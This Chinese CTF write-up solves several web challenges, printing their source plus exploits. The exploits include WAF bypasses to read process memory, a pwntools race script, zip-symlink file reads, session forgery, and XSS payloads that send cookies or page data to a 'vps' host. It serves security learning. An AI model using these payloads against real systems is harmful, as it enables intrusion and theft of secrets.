前言
参考:
ZianTT 的 wp:https://mp.weixin.qq.com/s/NtgULOY4uKJ5MT3L5WLcqA
ping
import base64
import subprocess
import re
import ipaddress
import flask
def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False
if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False
app = flask.Flask(__name__)
@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400
result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400
@app.route('/')
def index():
return flask.render_template('index.html')
app.run(host='0.0.0.0', port=5000)
看一下限制:
- 解码后的 ip 必须是
x.x.x.x
形式 .
必须为三个- 以
.
分隔的每部分必须能 int 转化为 0 到 256 的数 - 满足 ipv4 或者 ipv6
- ip 长度不能超过 15
命令执行:
echo "ping -c 1 $(echo '' | base64 -d)" | sh
猜测和 b64decode
与 base64 -d
的差异有关
找到一个 b64decode 的 bug:https://bugs.python.org/issue34832
而同样的内容在 base64 -d
上可以正常解码,那么构造命令执行即可
Peek a Fork
/entrypoint.sh
#!/bin/sh
set -e
echo "$FLAG" > /app/flag.txt
unset FLAG
exec python /app/server.py
flag 就在当前目录下 flag.txt,但是要绕过 403 waf
fuzz 一下发现 ban 了 '
、>
、<
、"
、^
、./
、..
、flag
后面发现给了源码
server.py
import socket
import os
import hashlib
import fcntl
import re
import mmap
with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')
FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Gateway</title>
<style>
body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
.container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
p { font-size: 1.2rem; }
.status { color: #ffff00; }
</style>
</head>
<body>
<div class="container">
<h1>Firewall</h1>
<p class="status">STATUS: All systems operational.</p>
<p>Your connection has been inspected.</p>
</div>
</body>
</html>"""
def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)
if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)
request_data = conn.recv(256)
if not request_data.startswith(b"GET /"):
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'
offset = 0
length = -1
match = re.search(pattern, path)
if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())
clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()
except Exception:
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
if not filename:
response_body = PAGE
response_status = "200 OK"
else:
try:
with open(os.path.normpath(filename), 'rb') as f:
if offset > 0:
f.seek(offset)
data_bytes = f.read(length)
response_body = data_bytes.decode('utf-8', 'ignore')
response_status = "200 OK"
except Exception as e:
response_body = f"Invalid path"
response_status = "500 Internal Server Error"
response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
conn.sendall(response.encode())
except Exception:
pass
finally:
conn.close()
os._exit(0)
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 1337))
server.listen(50)
print(f"Server listening on port 1337...")
while True:
try:
pid, status = os.waitpid(-1, os.WNOHANG)
except ChildProcessError:
pass
conn, addr = server.accept()
initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue
if initial_data.startswith(b'GET /?log=1'):
try:
factor = 1
pattern = rb"&factor=(\d+)"
match = re.search(pattern, initial_data)
if match:
factor = int(match.group(1).decode())
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, True, factor)
except Exception as e:
print("[ERROR]: ", e)
finally:
conn.close()
continue
else:
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, False)
conn.close()
if __name__ == '__main__':
main()
直接把 flag 读到内存之后删了
非预期
注意这里:
pattern = rb'\?offset=(\d+)&length=(\d+)'
clean_path = re.sub(pattern, b'', path)
匹配直接替换为空是一个危险的设计,用这个插在两个字符之间即可绕过 forbidden
GET /.?offset=0&length=100000.?offset=0&length=10000/pr?offset=0&length=100000oc/self/maps HTTP/1.1
Host: 60.205.163.215:17309
因为 flag 读到内存里了,我们需要读 /proc/self/mem,先获取 maps
56395827e000-56395827f000 r--p 00000000 103:00 15523385 /usr/local/bin/python3.12
56395827f000-563958280000 r-xp 00001000 103:00 15523385 /usr/local/bin/python3.12
563958280000-563958281000 r--p 00002000 103:00 15523385 /usr/local/bin/python3.12
563958281000-563958282000 r--p 00002000 103:00 15523385 /usr/local/bin/python3.12
563958282000-563958283000 rw-p 00003000 103:00 15523385 /usr/local/bin/python3.12
563959f5f000-56395a3b0000 rw-p 00000000 00:00 0 [heap]
7fa2fe996000-7fa2fe998000 r--p 00000000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe998000-7fa2fe99b000 r-xp 00002000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99b000-7fa2fe99d000 r--p 00005000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99d000-7fa2fe99e000 r--p 00006000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99e000-7fa2fe99f000 rw-p 00007000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99f000-7fa2fe9a0000 r--p 00000000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a0000-7fa2fe9a2000 r-xp 00001000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a2000-7fa2fe9a4000 r--p 00003000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a4000-7fa2fe9a5000 r--p 00004000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a5000-7fa2fe9a6000 rw-p 00005000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a6000-7fa2fe9a8000 r--p 00000000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9a8000-7fa2fe9af000 r-xp 00002000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9af000-7fa2fe9b1000 r--p 00009000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b1000-7fa2fe9b2000 r--p 0000a000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b2000-7fa2fe9b3000 rw-p 0000b000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b3000-7fa2fe9b8000 r--p 00000000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fe9b8000-7fa2fea67000 r-xp 00005000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea67000-7fa2fea7b000 r--p 000b4000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7b000-7fa2fea7c000 r--p 000c8000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7c000-7fa2fea7d000 rw-p 000c9000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7d000-7fa2fea80000 r--p 00000000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea80000-7fa2fea94000 r-xp 00003000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea94000-7fa2fea9b000 r--p 00017000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9b000-7fa2fea9c000 r--p 0001d000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9c000-7fa2fea9d000 rw-p 0001e000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9d000-7fa2feb94000 r--p 00000000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2feb94000-7fa2fef15000 r-xp 000f7000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2fef15000-7fa2ff04c000 r--p 00478000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff04c000-7fa2ff0cf000 r--p 005ae000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0cf000-7fa2ff0d2000 rw-p 00631000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0d2000-7fa2ff0d5000 rw-p 00000000 00:00 0
7fa2ff0d5000-7fa2ff0d9000 r--p 00000000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0d9000-7fa2ff0df000 r-xp 00004000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0df000-7fa2ff0e3000 r--p 0000a000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e3000-7fa2ff0e4000 r--p 0000d000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e4000-7fa2ff0e6000 rw-p 0000e000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e6000-7fa2ff0ea000 r--p 00000000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0ea000-7fa2ff0f1000 r-xp 00004000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f1000-7fa2ff0f5000 r--p 0000b000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f5000-7fa2ff0f6000 r--p 0000f000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f6000-7fa2ff0f7000 rw-p 00010000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f7000-7fa2ff1f7000 rw-p 00000000 00:00 0
7fa2ff1f7000-7fa2ff1f9000 r--p 00000000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1f9000-7fa2ff1fc000 r-xp 00002000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fc000-7fa2ff1fe000 r--p 00005000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fe000-7fa2ff1ff000 r--p 00006000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1ff000-7fa2ff200000 rw-p 00007000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff200000-7fa2ff300000 rw-p 00000000 00:00 0
7fa2ff300000-7fa2ff304000 r--p 00000000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff304000-7fa2ff30f000 r-xp 00004000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff30f000-7fa2ff318000 r--p 0000f000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff318000-7fa2ff319000 r--p 00017000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff319000-7fa2ff31a000 rw-p 00018000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff31a000-7fa2ff51a000 rw-p 00000000 00:00 0
7fa2ff51a000-7fa2ff52b000 r--p 00000000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff52b000-7fa2ff5a8000 r-xp 00011000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff5a8000-7fa2ff608000 r--p 0008e000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff608000-7fa2ff609000 r--p 000ed000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff609000-7fa2ff60a000 rw-p 000ee000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff60a000-7fa2ff632000 r--p 00000000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff632000-7fa2ff797000 r-xp 00028000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff797000-7fa2ff7ed000 r--p 0018d000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7ed000-7fa2ff7f1000 r--p 001e2000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f1000-7fa2ff7f3000 rw-p 001e6000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f3000-7fa2ff800000 rw-p 00000000 00:00 0
7fa2ff800000-7fa2ff900000 r--p 00000000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ff900000-7fa2ffb1f000 r-xp 00100000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffb1f000-7fa2ffc6f000 r--p 0031f000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffc6f000-7fa2ffce6000 r--p 0046e000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffce6000-7fa2ffe55000 rw-p 004e5000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffe55000-7fa2ffe56000 rw-p 00000000 00:00 0
7fa2ffe5c000-7fa2ffe5f000 r--p 00000000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe5f000-7fa2ffe67000 r-xp 00003000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe67000-7fa2ffe6c000 r--p 0000b000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6c000-7fa2ffe6d000 r--p 0000f000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6d000-7fa2ffe6e000 rw-p 00010000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6e000-7fa2ffed4000 rw-p 00000000 00:00 0
7fa2ffed4000-7fa2ffedb000 r--s 00000000 103:00 15520059 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa2ffedb000-7fa2fff35000 r--p 00000000 103:00 15519696 /usr/lib/locale/C.utf8/LC_CTYPE
7fa2fff35000-7fa2fff37000 rw-p 00000000 00:00 0
7fa2fff38000-7fa2fff39000 rw-s 00000000 00:01 6174 /dev/zero (deleted)
7fa2fff39000-7fa2fff3b000 rw-p 00000000 00:00 0
7fa2fff3b000-7fa2fff3c000 r--p 00000000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff3c000-7fa2fff64000 r-xp 00001000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff64000-7fa2fff6f000 r--p 00029000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff6f000-7fa2fff71000 r--p 00034000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff71000-7fa2fff72000 rw-p 00036000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff72000-7fa2fff73000 rw-p 00000000 00:00 0
7ffe68e9d000-7ffe68ebe000 rw-p 00000000 00:00 0 [stack]
7ffe68ec9000-7ffe68ecd000 r--p 00000000 00:00 0 [vvar]
7ffe68ecd000-7ffe68ecf000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
然后掏出祖传脚本算偏移和长度:
import re
maps=open('maps')
b = maps.read()
list = b.split('\n')
for line in list:
if 'rw' in line:
addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
#正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
start = int(addr.group(1),16) #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
end = int(addr.group(2),16) #将十六进制字符转化为十进制数,为了符合end参数格式
print(start,end)
print(end-start)
因为不清楚在哪一段内存里面于是每个都算出来手动 fuzz 了(
最后也是可以看到是在 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
这一段里面
预期
给了那么大一个 log 不可能不用
代码里进行了两次 recv,与 waf 相关的是这一段
initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue
通常 recv() 函数的最后一个参数为0,代表从缓冲区取走数据,而当为 MSG_PEEK 时代表只是查看数据,而不取走数据。
也就是说数据会留在缓冲区,而正式读入是在 handle_connection,一旦读取则会把数据移除缓冲区
def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)
if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)
request_data = conn.recv(256)
在读入前,如果开了 log 模式,会优先进行 log 再读入,而如果这里 factor 的值给高了则会卡在 log 这里一段时间,那么缓冲区中就会持续存在 GET /?log=1&factor=100000
,此时如果在通过 MSG_PEEK 后缓冲区还未清除之前立刻插入 /../../../proc/self/maps
,那么实际进入 request_data = conn.recv(256)
的缓冲区内为 GET /?log=1&factor=100000/../../../proc/self/maps
exp:
from pwn import *
host = 'localhost'
port = 1337
remote1 = remote(host, port)
remote1.send(b'GET /?log=1&factor=100000')
time.sleep(0.01)
remote1.send(f'/../../../../proc/self/maps'.encode())
resp = remote1.recv()
print(resp)
这样就能读到 maps,然后就是翻 mem 了
online_unzipper
给了个注册,有 session,解出来是 {"role":"user","username":"admin"}
有压缩包上传并解压,明显是打软链接,读 app.py
ln -s /app/app.py toapppy
zip -y ln.zip toapppy
上传解压,然后访问 toapppy 得到源码
import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response
app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
users = {}
@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users:
return "用户名已存在"
users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))
@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))
if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"
role = session["role"]
if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())
target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)
zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)
try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"
os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"
return render_template("upload.html")
@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)
files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)
@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500
if __name__ == "__main__":
app.run(host="0.0.0.0")
看来 key 应该是在环境变量里,同样的方法读 /proc/self/environ 拿到 FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!
修改 session 的 role 为 admin,成为管理员后可指定上传文件的位置
接下来的问题是怎么列出根目录下的文件,我们只需要上传一个根目录的软链接到 uploads 下,然后再上传一次,指定位置为软链接名即可
上传到根目录的软链接 torootpath(这里是之前指定 dirname 为 .
,于是可以查看 uploads 目录的内容)
然后再上传一次,指定 dirname 为 torootpath,使其视为目录访问
列出根目录
访问即可得到 flag
做完了才发现后面上了附件
Unfinished(复现)
明显要 xss
from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'
class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio
admin_password = os.urandom(12).hex()
USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1
@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None
@app.route('/')
def index():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))
USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')
@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')
@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)
@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio
def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')
with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()
context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])
page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()
except Exception as e:
print(f"Bot error: {str(e)}")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
nginx.conf
user www-data;
worker_processes auto;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=1g inactive=60m;
include /etc/nginx/mime.types;
default_type application/octet-stream;
server {
listen 80 default_server;
server_name _;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /api/bio/ {
return 403;
}
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}
}
}
如果没有 403 限制的话,访问 /api/bio/username 会返回 user.bio,bio 是我们可控的,可以 xss
但是
@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio
测试发现远程环境的 key 也是 your-secret-key-here
,那么可以登录到 admin
另一个问题是 visit_url(f"http://localhost/api/bio/{username}")
直接走的 nginx 一定会被 403 拦下来
观察这里
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}
.css/.js
结尾的不受限制能够正常代理到 5000 端口上,并且存在缓存,可以绕过 403
这样我们注册一个 1.js,然后修改 bio 就能实现 xss 了
非预期
context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])
因为 httpOnly 拼错了导致不生效,所以可以直接把 cookie x 出来
修改 1.js 的 bio 为 payload:
<script>fetch('http://vps:23333/'+document.cookie);</script>
然后访问 /view 让 bot 访问 /api/bio/1.js 即可,注意缓存时间为 10 分钟
预期
参考:https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique
使用 cookie sandwich technique
,再结合服务器的回显,可以攻击 HttpOnly 的 cookie
exp:
<script>
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="test; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
fetch("/ticket", {
credentials: 'include',
}).then(response => {
return response.text();
}).then(data => {
fetch("http://vps:23333/", {
method: "POST",
body: data,
});
})
</script>
safenotes(Unsolved)
还在 x 还在 x